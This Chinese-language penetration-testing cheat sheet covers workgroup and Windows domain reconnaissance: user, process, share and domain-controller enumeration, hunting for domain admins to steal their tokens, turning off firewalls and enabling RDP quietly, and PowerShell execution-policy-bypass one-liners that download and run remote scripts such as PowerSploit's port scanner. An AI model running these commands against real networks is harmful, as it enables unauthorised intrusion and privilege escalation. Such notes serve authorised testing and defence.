内网信息收集
在内网环境中,信息收集尤为重要。信息收集的广度与深度,往往决定你的渗透测试的成果。
工作组信息收集
本机信息收集有通常有以下几种信息需要收集:
1. 查询网络配置
-
ipconfig /all
可以判断是否处于内网、内网IP段、网关、DNS服务器地址、
判断有没有域
2. 查询用户列表
-
net user 查看本机用户列表
- 可以看大型企业的用户名命名规则
-
net localgroup administrators 查看本机管理员
- 通常含有域用户,用户批量管理主机的
query user || qwinsta 查看当前在线用户
3. 查看进程列表
-
tasklist /v
可看装了什么软件,域内可能装同样的软件
可看进程是用什么权限运行的。若进程是以域管理员权限运行的,可通过令牌的窃取注入进程里,获取域管理员权限。
wmic process list brief
4. 查看操作系统及安装软件版本信息
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" (英文版的话需要写成Name与Version)
-
wmic product get name,version
- 查看软件安装及版本、路径等。可看杀软的版本,然后可找漏洞。
-
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version"
- 查看软件安装及版本、路径等。可看杀软的版本,然后可找漏洞。
5. 查询端口列表
-
netstat -ano
- 可以通过信息判断服务器,如开放53端口(DNS服务器)、8530(WSUS更新)、或代理服务器。
6. 查看补丁列表
-
systeminfo
- 查看各种系统信息、打补丁信息,还可以判断有没有域
-
wmic qfe get Caption,Description,HotFixID,InstalledOn
- 可看打补丁的详细信息
7. 查询本机共享
-
net share
- 域内的共享很多时候是相同的。
wmic share get name,path,status
8. 关于防火墙配置
netsh firewall show config 查看防火墙配置详细信息
netsh firewall set opmode mode = enable 启动防火墙
-
netsh advfirewall set allprofiles state off 关闭防火墙
- 直接关闭防火墙动静有点大,可以添加规则,达到目的后再删除规则。
9. 查询并开启远程连接服务。
Reg query "hkey_local_machine\system\currentcontrolset\control\terminal server\winstations\RDP-Tcp" /v portnumber 查看远程连接端口
-
Windows Server 2008和Windows Server 2012开启3389方法
wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
10. 查询当前权限
-
whoami
本地普通用户不能查询域内信息
本地管理员可以查询域内信息
域内用户可以查询域内信息
-
whoami /all
- 获取域SID。SID:域内作为身份认证的唯一标识。后面域渗透中令牌窃取即窃取SID
net user XXX /domain 查询指定账户的详细信息
域内信息收集
1. 判断是否有域
ipconfig /all
systeminfo
net config workstation
-
net time /domain
存在域,当前用户不是域用户
存在域,当前用户是域用户
提示"找不到域xx的域控制器":不存在域
2. 域内存活主机的探测
白天探测,深夜探测,找出规律。
-
利用netbios快速探测内网
工具:Nbtscan
使用方法:nbtscan.exe IP
-
利用ICMP协议快速探测内网
-
ping命令。
- for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL=” 其中“192.168.1”为网段。
VBS脚本
-
-
利用arp扫描完整探测内网
工具:arp-scan,命令:arp.exe -t IP
Empire中的arpscan模块
Invoke-ARPScan.ps1
-
命令:
A.远程下载运行
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString(' http://192.168.1.1/Invoke-ARPScan.ps1');Invoke-ARPScan -CIDR 192.168.1.0/20" >> c:\windows\temp\log.txt
B.本地运行
powershell.exe -exec bypass -Command "& {Import-Module C:\windows\temp\Invoke-ARPScan.ps1; Invoke-ARPScan -CIDR 192.168.1.0/20}" >> C:\windows\temp\log.txt
C. 无条件运行
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '445,1433,8080,3389,80' -oA c:\windows\temp\res.txt"
-
利用常规tcp/udp端口扫描探测内网
工具:scanline
命令:sl -h -t 22,80-89,110,389,445,3389,1099,1433,2049,6379,7001,8080,1521,3306,3389,5432 -u 53,161,137,139 -O c:\windows\temp\sl_res.txt -p 192.168.1.1-254 /b
-
域内端口扫描
注意扫描是否会触发IDS,windows推荐使用powershell、wmic的脚本进行扫描。降低扫描的频率。
端口的banner服务(欢迎语句):在banner信息中可以得到软件开发商,软件名称、版本、服务类型等信息,通过这些信息可以使用某些工具直接去使用相对应的exp去攻击。
端口上运行的服务
常见应用的默认端口
常用nmap、masscan(动静比较大,已授权情况下)
telnet命令
-
s扫描器(速度快)
- 命令举例:S.exe TCP 192.168.1.1 192.168.1.254 445,3389,1433,7001,1099,8080,80,22,23,21,25,110,3306,5432,1521,6379,2049,111 256 /Banner /save
-
metasploit可调用nmap及自身所带的脚本
- 如search portscan,然后Use auxiliary/scanner/portscan/tcp
Invoke-portscan.ps1(在powersploit下的脚本)
常见端口机器攻击方向
3. 域内基础信息收集
某些命令需要域用户或主机system权限才能运行。
net view /domain 查询域
net view /domain:XXX 查询域内电脑,有时可以根据电脑名字判断目标主机为什么类型的主机。
net group /domain 查询域里的用户组
net group "domain computers" /domain 查询域成员的计算机列表
net accounts /domain 查询域里密码的策略
nltest /domain_trusts 查询域信任信息
4. 查询域控
nltest /DCLIST:XXX xxx为域的名称
Nslookup -type=SRV ldap.tcp
net time /domain
net group "Domain Controllers" /domain 查询所有域控
netdom query pdc
5. 查询域内用户与管理员
net user /domain 查询域内所有用户
wmic useraccount get /all 获取域内用户的详细信息
dsquery user
net localgroup administrators /domain 查询域内置的本地管理员组的用户
net group "domain admins" /domain 查询域管理员用户组
net group "Enterprise Admins" /domain 查询域管理员用户组
定位域管理员
定位域内管理员的方法:一是通过日志,二是会话。日志指的的本地机器的管理员日志,可以使用脚本或wevtutil导出查看。会话是域内每个机器的登陆会话,可以匿名查询,无需权限,可以使用netsess.exe或powerview等工具查询。一个主机a加入到域XX中,那么域XX的管理员组会默认加入到主机a的本地管理员组中。
1. 定位域管理员的工具
-
psloggedon.exe 查找管理员登录信息
- psloggedon [-] [-l] [-x] [\computername|username] -l 表示本地登录的
-
PVEFindADUser.exe (需要管理员权限)
- -current
-
netsess.exe 查找主机会话
- -h
-
PowerView脚本-Invoke-UserHunter
- powershell.exe -exec bypass -Command "& {Import-Module C:\PowerView.ps1;Invoke-UserHunter}" 隐藏使用,调用C:\PowerView.ps1脚本
查找域管理进程
1. 本机检查
获取域管理员列表。命令:net group "Domain Admins" /domain
查看本机所有进程及进程用户。命令:tasklist /v
寻找是否有进程所有者为域管理员的进程。
2. 查询域控制器的域用户会话(脚本)
收集所有域控制器的列表。 net group "Domain Controllers" /domain
收集域管理员列表。 net group "Domain Admins" /domain
使用Netsess.exe查询每个域控制器,收集所有活动域会话的列表。 Netsess.exe –h
将域管理员列表与活动会话列表交叉引用,以确定哪些IP地址具有活动域令牌。
3. 扫描远程系统上运行的任务
这个方法运行的前提:域管理员账号开启了共享
收集域管理员的列表 net group "Domain Admins" /domain
运行脚本。将目标域系统添加到ips.txt文件中,将收集到的域管理员列表添加到names.txt文件中。
FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt && FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause
4. 扫描远程系统上NetBIOS信息
收集域管理员列表。
运行脚本。将目标域系统列表添加到ips.txt文件中,将收集到的域管理员列表添加到admins.txt文件中。并置于同一目录下。
for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
- 也可以使用nbtscan工具。先收集管理员列表。然后将目标域系统列表添加到ips.txt文件中,将收集到的域管理员列表添加到admins.txt文件中。并置于同一目录下。
for /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
Powershell收集域信息
2.0内置于win server 2008与win 7中
3.0内置于win server 2012与win 8中
4.0内置于win server 2012 R2与win 8.1中
5.0内置于win server 2016 与win 10中
1. Powershell四种权限
Restricted 默认设置,不允许执行任何脚本。
Allsigned 只能运行经过证书验证的脚本。
Unrestricted 权限最高,可以执行任意脚本。
RemoteSigned 对本地脚本不进行限制,对来自网络的脚本必须验证其签名。
操作:
输入Get-ExecutionPolicy 可查看当前执行权限
Get-ExecutionPolicy + 权限 更改执行权限。
2. Powershell收集域信息
Powershell中常用命令:
域渗透分析工具BloodHound的使用
详细请阅:《内网安全攻防.实战渗透测试指南》P76